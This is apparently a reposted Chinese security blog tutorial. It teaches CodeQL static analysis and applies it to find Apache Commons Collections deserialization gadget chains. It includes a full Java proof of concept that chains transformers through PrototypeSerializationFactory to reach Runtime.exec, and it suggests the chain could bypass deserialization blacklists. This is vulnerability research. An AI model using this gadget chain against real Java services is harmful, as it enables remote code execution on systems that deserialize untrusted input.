主頁 >  其他 > 細談使用CodeQL進行反序列化鏈的挖掘程序

細談使用CodeQL進行反序列化鏈的挖掘程序

2023-05-23 09:07:49 其他

此文章在SecIN安全技術社區首發

前言

學習了一下CodeQL的各種使用方式,決定使用CodeQL細談一下CC鏈挖掘,通過一步一步的朝著我們既定的目標進行靠近,最終成功的找到了一條雞肋的二次反序列化的入口

前奏

CodeQL本身包含兩部分決議引擎+ SDK ,

決議引擎用來決議我們撰寫的規則,雖然不開源,但是我們可以直接在官網下載二進制檔案直接使用,

 SDK 完全開源,里面包含大部分現成的漏洞規則,我們也可以利用其撰寫自定義規則

安裝

下載CodeQL執行程式

將SDK下載到同目錄

cd ~/CodeQL&git clone https://github.com/Semmle/ql

之后將執行程式添加進入環境變數

然后再VScode中安裝CodeQL插件,之后配置擴展,如果添加了環境變數就直接為空,沒有添加就輸入對應可執行檔案的路徑

簡單使用

基本語法

型別
  1. 字符型別

String

存在類似于 CharAt(0) 的內置函式

  1. 整型與浮點型 https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
  2. 日期型 https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
  3. 布爾型

https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string

從未被使用的引數
import java

from Parameter p
where not exists( p.getAnAccess() )
select p
聚合使用
from Person t
where t.getAge() = max(int i | exists(Person p | p.getAge() = i) | i)
select t

select max(Person p | | p order by p.getAge())

min(Person p | p.getLocation() = "east" | p order by p.getHeight())

count(Person p | p.getLocation() = "south" | p)

avg(Person p | | p.getHeight())

sum(Person p | p.getHairColor() = "brown" | p.getAge())

 

生成Database

Creating CodeQL databases — CodeQL (github.com)

codeql.exe database create test --language=java --command="mvn clean compile --file pom.xml -Dmaven.test.skip=true" --source-root=../micro_service_seclab/
# 如何mvn編譯報錯使用 mvn compile -fn忽略錯誤
閉源構建資料庫

閉源專案創建資料庫,可以使用該工具:https://github.com/ice-doom/codeql_compile

  • https://github.com/waderwu/extractor-java
    同樣可以在windows中使用,將run.py中的codeql_home手工修改,而不是使用which命令得到路徑
構建JDK

(34條訊息) 編譯OpenJDK8并生成CodeQL資料庫_n0body-mole的博客-CSDN博客

匯入Database

和SQL語言一樣,我們執行QL查詢,肯定是要先指定一個資料庫才可以,

選中插件,之后配置生成的資料庫

類別庫

名稱解釋
Method 方法類,Method method表示獲取當前專案中所有的方法
MethodAccess 方法呼叫類,MethodAccess call表示獲取當前專案當中的所有方法呼叫
Parameter 引數類,Parameter表示獲取當前專案當中所有的引數

簡單使用

Method內置方法
method.getName() 獲取的是當前方法的名稱
method.getDeclaringType() 獲取的是當前方法所屬class的名稱,
method.hasName() 判斷是否有該方法
    
import java

from Method method
where method.hasName("getStudent")
select method.getName(), method.getDeclaringType()

 

謂詞
predicate 表示當前方法沒有回傳值,
exists子查詢,是CodeQL謂詞語法里非常常見的語法結構,它根據內部的子查詢回傳true or false,來決定篩選出哪些資料,
    
import java

predicate isStudent(Method method) {
exists(|method.hasName("getStudent"))
}

from Method method
where isStudent(method)
select method.getName(), method.getDeclaringType()

//沒有結果的謂詞
predicate isSmall(int i) {
  i in [1 .. 9]
}
//帶有回傳結果的謂詞
int getSuccessor(int i) {
  result = i + 1 and
  i in [1 .. 9]
} //如果i是小于10的正整數,那么謂詞的回傳結果就是i后面的那個整數     

設定Source Sink

什么是source和sink
在代碼自動化安全審計的理論當中,有一個最核心的三元組概念,就是(source,sink和sanitizer),
source是指漏洞污染鏈條的輸入點,比如獲取http請求的引數部分,就是非常明顯的Source,
sink是指漏洞污染鏈條的執行點,比如SQL注入漏洞,最終執行SQL陳述句的函式就是sink(這個函式可能叫query或者exeSql,或者其它),
sanitizer又叫凈化函式,是指在整個的漏洞鏈條當中,如果存在一個方法阻斷了整個傳遞鏈,那么這個方法就叫sanitizer,
設定source
override predicate isSource(DataFlow::Node src) {}

// 通用的source入口規則
override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }

 

設定Sink
override predicate isSink(DataFlow::Node sink) {

  }

// 查找一個query()方法的呼叫點,并把它的第一個引數設定為sink
override predicate isSink(DataFlow::Node sink) {
exists(Method method, MethodAccess call |
  method.hasName("query")
  and
  call.getMethod() = method and
  sink.asExpr() = call.getArgument(0)
)
}

Flow資料流

連通作業就是CodeQL引擎本身來完成的,我們通過使用config.hasFlowPath(source, sink)方法來判斷是否連通,

from VulConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, "source"

//我們傳遞給config.hasFlowPath(source, sink)我們定義好的source和sink,系統就會自動幫我們判斷是否存在漏洞了

命令列持續化使用規則

在撰寫了相應規則之后,就可以直接在命令列行中執行規則,檢測其他專案

首先生成 Database 

之后通過我們撰寫的規則進行分析,輸出為CSV檔案

codeql database analyze /CodeQL/databases/micro-service-seclab /CodeQL/ql/java/ql/examples/demo --format=csv --output=/CodeQL/Result/micro-service-seclab.csv --rerun

實體

使用jdbcTemplate.query方法的SQL注入

import java 
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.QueryInjection
import DataFlow::PathGraph

class VulConfig extends TaintTracking::Configuration {
    VulConfig() { this = "SqlinjectionConfig" }
    
    override predicate isSource(DataFlow::Node source) {
        source instanceof RemoteFlowSource
    }
    
    override predicate isSink(DataFlow::Node sink) {
        exists(Method method, MethodAccess call | 
            method.hasName("query")
            and call.getMethod() = method
            and sink.asExpr() = call.getArgument(0))
    }
}

from VulConfig vulconfig, DataFlow::PathNode source, DataFlow::PathNode sink
where vulconfig.hasFlowPath(source, sink)
select source.getNode(), source, sink, "source"
報錯解決

如果存在Source位置是List<Long> param型別的傳參,這里是不可能存在SQL注入的我們可以使用TaintTracking::Configuration提供的凈化方法isSanitizer

override predicate isSanitizer(DataFlow::Node node) {
    node.getType() instanceof PrimitiveType or
    node.getType() instanceof BoxedType or
    node.getType() instanceof NumberType or
    exists(ParameterizedType pt | node.getType() = pt and
    pt.getTypeArgument(0) instanceof NumberType)
}

復雜使用

instanceof優化查詢結構

我們可以使用exists(|)這種子查詢的方式定義source和sink,但是如果source/sink特別復雜(比如我們為了規則通用,可能要適配springboot, Thrift RPC,Servlet等source),如果我們把這些都在一個子查詢內完成,比如 condition 1 or conditon 2 or condition 3, 這樣一直下去,我們可能后面都看不懂了,更別說可維護性了,

instanceof給我們提供了一種機制,我們只需要定義一個abstract class

比如 RemoteFlowSource 抽象類的撰寫

/** A data flow source of remote user input. */
abstract class RemoteFlowSource extends DataFlow::Node {
  /** Gets a string that describes the type of this remote flow source. */
  abstract string getSourceType();
}

CodeQL和Java不太一樣,只要我們的子類繼承了這個RemoteFlowSource類,那么所有子類就會被呼叫,它所代表的source也會被加載

存在非常多繼承這個抽象類的子類,所以他們的結果會被and串聯在一起

遞回查詢

CodeQL里面的遞回呼叫語法是:在謂詞方法的后面跟*或者+,來表示呼叫0次以上和1次以上(和正則類似),0次會列印自己

在Java語言里,我們可以使用class嵌套class,多個內嵌class的時候,我們需要知道最外層的class是什么怎么辦?

非遞回,知道嵌套的層數:

import java

from Class classes
where classes.getName().toString() = "innerTwo"
select classes.getEnclosingType().getEnclosingType()   // getEnclosingtype獲取作用域

使用遞回語法

from Class classes
where classes.getName().toString() = "innerTwo"
select classes.getEnclosingType+()   // 獲取作用域

代碼分析平臺CodeQL學習手記(七) - 嘶吼 RoarTalk – 回歸最本質的資訊安全,互聯網安全新媒體,4hou.com

強制型別轉換

import java

from Parameter param
select param, param.getType().(IntegralType) //篩選出getType方法符合后面了型別的結果

正文

這里主要是探討由transform呼叫層面的挖掘

transform

我們通過codeql尋找transform方法的呼叫

class TransformCallable extends Callable {
    TransformCallable() {
        this.getName().matches("transform") and
        this.getNumberOfParameters() = 1
    }
}

wKg0C2OQmfCAHb5sAACdj8eFfo340.png

可以看出來結果挺多的,之后我們人工排查一下

TransformedCollection

在 TransformedCollection#transform 的呼叫中存在可以呼叫其他transformer的transform方法的邏輯

wKg0C2OQmhOAHSmKAADu373hdWw173.png

沒啥用,都已經可以呼叫任意transform了,還需要這一步嗎?

ChainedTransformer

在 ChainedTransformer#transform 方法中存在 iTransformers 中的所有的transform的呼叫,這里也就是yoserial專案中的利用鏈**
**wKg0C2OQmi6AN5QlAACJOo4hd2M414.png

CloneTransformer

在 CloneTransformer#transform 方法中存在, PrototypeFactory類實體化之后呼叫了create方法

wKg0C2OQmjyABN5yAAAy9QtFecQ908.png

我們跟進一下

wKg0C2OQmkAFB94AACZlNbOHUc878.png

代碼中表示如果需要transformer的類存在clone方法,就會回傳一個 new PrototypeCloneFactory 物件,之后呼叫他的create方法,如果沒有就會進入catch陳述句,回傳一個 new InstantiateFactory 物件,但是這里因為在其類中的create方法中引數不可控不能夠利用

wKg0C2OQml6AY1EFAABIyNAOtLs625.png

ClosureTransformer

在 ClosureTransformer#transform 方法中,存在 Closure#execute 方法的呼叫
wKg0C2OQmmiAX30XAAAxluZ2x0o730.png

Closure#execute

我們來查找一下有沒有可用的實作了 org.apache.commons.collections.Closure 介面的類的execute呼叫

class ClosureCallable extends Callable {
    ClosureCallable() {
        this.getName().matches("execute") and
        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")
    }
}

wKg0C2OQmoGAdxTHAABNH5fjkFQ391.png

我們一個一個來看下對應的execute方法

大概看了一下,發現不是 this.iClosure.execute(input) 呼叫就是 this.iPredicate.evaluate(input) 

只有一個 TransformerClosure#execute 方法中呼叫了transform,但是也不能形成利用鏈,最多算一個中轉

ConstantTransformer

在 ConstantTransformer#transform 方法中,將會回傳一個構造方法,同樣在yoserial中有所利用

FactoryTransformer

在 FactoryTransformer#transform 方法中,呼叫了 Factory 介面的類的create方法
查看一下滿足條件的類把

Factory#create
class FactoryCallable extends Callable {
    FactoryCallable() {
        this.getName().matches("create") and
        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory")
    }
}

wKg0C2OQmpaAGG3UAABNOgYYqxg832.png

進入看一看

InstantiateFactory

這里有一個 InstantiateFactory 類,好生熟悉,這不就是之前那篇文章中的CC鏈的挖掘,在其create方法中存在建構式的實體化

wKg0C2OQmqCANKzSAABsTfRQ4NE207.png

例如已知的 InstantiateFactory , 我們嘗試挖掘一下

類似其中會呼叫TemplateImpl#newTransformer方法

/**
 * @kind path-problem
 */
import java

class ConstructCallable extends Callable {
    ConstructCallable() {
        this instanceof Constructor
    }
}

class MethodCallable extends Callable {
    MethodCallable() {
        this.getName().matches("newTransformer") and
        this.getDeclaringType().getName().matches("TemplatesImpl")
    }
}

query predicate edges(Callable a, Callable b) {
    a.polyCalls(b)
}

from MethodCallable endcall, ConstructCallable entrypoint
where edges+(entrypoint, endcall)
select endcall, entrypoint, endcall, "find Contructor in jdk"

 

wKg0C2OQmrSACXtAAA69bCFS74258.png

很合理我們得到了這個構造方法

雖然這里的 iConstructor 屬性被 transient 修飾,但是在findConstructor中存在賦值

PrototypeSerializationFactory

之后有一個類為 PrototypeSerializationFactory 他是一個靜態內部類
wKg0C2OQmsSAc3u4AADx1qlyMFw194.png

剛開始看的時候覺得這不純純一個二次反序列化的入口嗎,直接跟進一下子代碼

在其建構式中有對 iPrototype 屬性的賦值操作
我們可以嘗試直接將CC6拼接上去

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_plus_plus {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

 public static void main(String[] args) throws Exception{
        //仿照ysoserial中的寫法,防止在本地除錯的時候觸發命令
        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map outMap = LazyMap.decorate(innerMap, transformerChain);

        //實體化
        TiedMapEntry tme = new TiedMapEntry(outMap, "key");
        Map expMap = new HashMap();
        //將其作為key鍵傳入
        expMap.put(tme, "value");

        //remove
        outMap.remove("key");

 //傳入利用鏈
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        Class c;
        c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
        Constructor constructor = c.getDeclaredConstructor(Serializable.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(expMap);

        FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) o);

        ConstantTransformer constantTransformer = new ConstantTransformer(1);

        Map innerMap1 = new HashMap();
        LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer);

        TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "keykey");

        Map expMap1 = new HashMap();
        expMap1.put(tme1, "valuevalue");
        setFieldValue(outerMap1,"factory",factoryTransformer);

        outerMap1.remove("keykey");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(expMap);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

 

wKg0C2OQmtaAZJbdAABo92RbJWg137.png

能夠成功執行,好吧,感覺挺雞肋的,但是應該可以結合其他依賴,作為其他反序列入口來打,或者作為一個黑名單繞過

PrototypeCloneFactory

之后又是一個 PrototypeCloneFactory#create 方法中

wKg0C2OQmuaAJlSPAABwEz7UyPo405.png

似乎可以任意方法的呼叫,但是我們注意到

wKg0C2OQmvCAcIloAAA9mg8vbqQ798.png

其被transient修飾,且不像 InstantiateFactory 中存在賦值操作,但是我們同樣可以注意到其在呼叫 findCloneMethod 方法中的時候,取出了對應類的clone方法,如果clone方法有可以利用的是不是就可以形成利用鏈

wKg0C2OQmvyAZXYLAABaU9RODrY142.png

我們查找一下clone方法存在的類

import java

class CloneCallable extends Callable{
    CloneCallable() {
        this.getName().matches("clone")
    }
}
from CloneCallable c
select c,c.getBody(), c.getDeclaringType()

wKg0C2OQmwqAKwyGAABCPFC5O5A134.png

在BeanMap中,對應的clone方法中存在newInstance的呼叫且其 beanClass 可控,但是是無參構造方法,無法形成利用鏈

wKg0C2OQmxWAVMK2AAB2yCnIeM379.png

其他的呼叫我簡單看了一下,沒有什么特別的地方

最后一個是 ReflectionFactory 的呼叫,同樣是無參構造方法

InstantiateTransformer

而對于 InstantiateTransformer#transform 方法中可以進行 InvokerTransformer 的替代使用,可以觸發一些類的構造方法
wKg0C2OQmyeAd7GAABYG0ElAzg251.png

比如說 TrAXFilter 

wKg0C2OQm0iAb0PMAABdn298CpU608.png

InvokerTransformer

接下來就是ysoserial中存在的 InvokerTransformer#transform 方法中可以反射呼叫可控的方法
wKg0C2OQm2CAfZsmAABwWV7s5j8273.png

PredicateTransformer

而又在 PredicateTransformer#transform 方法中存在Predicate介面實作類的evaluate方法
wKg0C2OQm3KAOY4AAAvnS8BevU999.png

Predicate#evaluate

淺看一下對應類

import java

class PredicateCallable extends Callable {
    PredicateCallable() {
        this.getName().matches("evaluate") and
        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate")
    }
}

from PredicateCallable c 
select c, c.getBody(), c.getDeclaringType()

wKg0C2OQm4SAbezAABo0eFf4Y982.png

都是一些沒有亮點的東西

SwitchTransformer

之后 SwitchTransformer#transform 方法中,存在有類似 ChainedTransformer#transform 的功能
wKg0C2OQm5KAN02mAAA9mg8vbqQ027.png

但是需要滿足 this.iPredicates[i].evaluate(input)為true ,而且似乎這里只能呼叫一次transform,不能形成鏈子,也沒有了意義

總結

鏈子沒有挖出來什么比較新的鏈子,有一個比較雞肋的二次反序列化的鏈子,但是主要還是體會這種使用靜態分析工具輔助自己進行挖掘新鏈,這次主要是在CC鏈中進行transformer層面的深度挖掘,當然還可以在動態代理等等方面進行深層次的探索,又或者以來其他依賴庫結合進行挖掘利用的方式也是可行的

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/553105.html

標籤:其他

上一篇:數字名片工具 BBlog:使用一個鏈接,快速創建和分享你的資訊主頁和數字花園

下一篇:返回列表

標籤雲
其他(159491) Python(38162) JavaScript(25441) Java(18096) C(15230) 區塊鏈(8267) C#(7972) AI(7469) 爪哇(7425) MySQL(7204) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5871) 数组(5741) R(5409) Linux(5340) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4574) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2433) ASP.NET(2403) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1975) 功能(1967) Web開發(1951) HtmlCss(1940) C++(1919) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1878) .NETCore(1861) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 細談使用CodeQL進行反序列化鏈的挖掘程序

    學習了一下CodeQL的各種使用方式,決定使用CodeQL細談一下CC鏈挖掘,通過一步一步的朝著我們既定的目標進行靠近,最終成功的找到了一條雞肋的二次反序列化的入口 ......

    uj5u.com 2023-05-23 09:07:49 more
  • 數字名片工具 BBlog:使用一個鏈接,快速創建和分享你的資訊主頁和數

    數字名片 BBlog:使用一個鏈接,快速創建和分享你的資訊主頁和數字花園 隨著移動互聯網技術的快速發展,數字名片產品已成為現代社交和網路營銷的重要工具。數字名片可以幫助個人和企業在各種場合中展示和分享聯系資訊,同時還具有便捷、環保、易于管理等諸多優點。 在本文中,我們將介紹一款高效、易用、功能豐富的 ......

    uj5u.com 2023-05-23 09:06:54 more
  • 3D模型渲染引擎6大特點解讀:助力AR/VR呈現驚嘆的視覺效果!

    HOOPS Visualize不僅僅是一個圖形引擎,它還是一個以工程為中心的場景圖形技術構建工程應用程式的框架。圍繞這個圖形核心的是一個可定制和可擴展的類層,它封裝了工程應用程式中的許多高級功能,并提供與物體建模器等其他組件的集成。 ......

    uj5u.com 2023-05-23 09:06:35 more
  • 理論+實操,帶你了解多沙箱容器運行時Kuasar

    摘要:華為云DTSE技術布道師張天陽結合沙箱容器發展歷程,介紹華為云多沙箱容器運行時 Kuasar 專案優勢,開啟多沙箱容器運行時上手實踐體驗。 本文分享自華為云社區《理論+實操,帶你了解多沙箱容器運行時Kuasar》,作者:華為云社區精選。 本期《多沙箱容器運行時Kuasar開發上手實踐》主題直播 ......

    uj5u.com 2023-05-23 09:06:18 more
  • 面了一個4年經驗的測驗工程師,自動化都不會也要15k,我也是醉了&#18

    看到了很多份簡歷,好幾個都是幾個月測驗經驗的來面試,最離譜的是令我印象最深刻的,一個4年經驗的,問薪資一張口就是要15k,這份自信也讓我對他極其感興趣,以為是來了個大佬,沒想到我一問不提測驗工具,僅僅基礎的技術很多也知之不詳,多數人數年的作業經驗僅僅是功能測驗堆起來的,毫無深度,對于APP自動化等等... ......

    uj5u.com 2023-05-23 09:05:58 more
  • Pytest - pytest 命令(3) - 常用命令的使用

    ## pytest 常用命令 ### 測驗資訊輸出 ```python # 設定pytest的執行引數 "-q":安靜模式, 不輸出環境資訊 pytest.main(["-q"]) # 設定pytest的執行引數 "-s":顯示程式中的print/logging輸出 pytest.main(["-s ......

    uj5u.com 2023-05-23 09:04:56 more
  • 機器學習資料順序隨機打亂:Python實作

    本文介紹基于**Python**語言,實作機器學習、深度學習等模型訓練時,**資料集打亂**的具體操作。 # 1 為什么要打亂資料集 在機器學習中,如果不進行資料集的打亂,則可能導致模型在訓練程序中出現具有“**偏見**”的情況,降低其泛化能力,從而降低訓練精度。例如,如果我們做深度學習的分類,其中 ......

    uj5u.com 2023-05-23 09:04:52 more
  • 摳圖黨福音:教你一鍵分割影像

    摘要:輸入一個影像,通過Segment Anything模型即可獲得影像所有目標的分割點位置,再通過位置將影像進行分割保存。 本文分享自華為云社區《一鍵分割影像》,作者:雨落無痕 。 Segment Anything Segment Anything Model(SAM)通過點或框等輸入提示生成高質 ......

    uj5u.com 2023-05-23 09:04:40 more
  • GPS北斗校時服務器(時間同步裝置)助力橋梁檢測系統建設

    GPS北斗校時服務器(時間同步裝置)助力橋梁檢測系統建設 GPS北斗校時服務器(時間同步裝置)助力橋梁檢測系統建設 京準電子科技官微——ahjzsz 一、系統概述 整個采集系統分散在橋梁的各個部位。橋梁按照區域劃分為若干區段,在主要幾個區段中安置著信號采集機站,每組采集機站均和GPS校時器相連,GP ......

    uj5u.com 2023-05-23 09:04:10 more
  • 紅黑樹是怎么來的

    本文從二叉搜索樹傾斜的原因(自上而下生長)出發,推出維持樹形資料結構平衡性的關鍵:自下而上裂變式生長,進而引出裂變式生長的理論模型:2-3 樹。由于 2-3 樹實作上的復雜性,引出其實作上的替代品:紅黑樹。最后,我們討論如何通過左旋、右旋以及顏色翻轉這“三板斧”來維護紅黑樹插入和洗掉元素后的動態平衡... ......

    uj5u.com 2023-05-23 09:03:20 more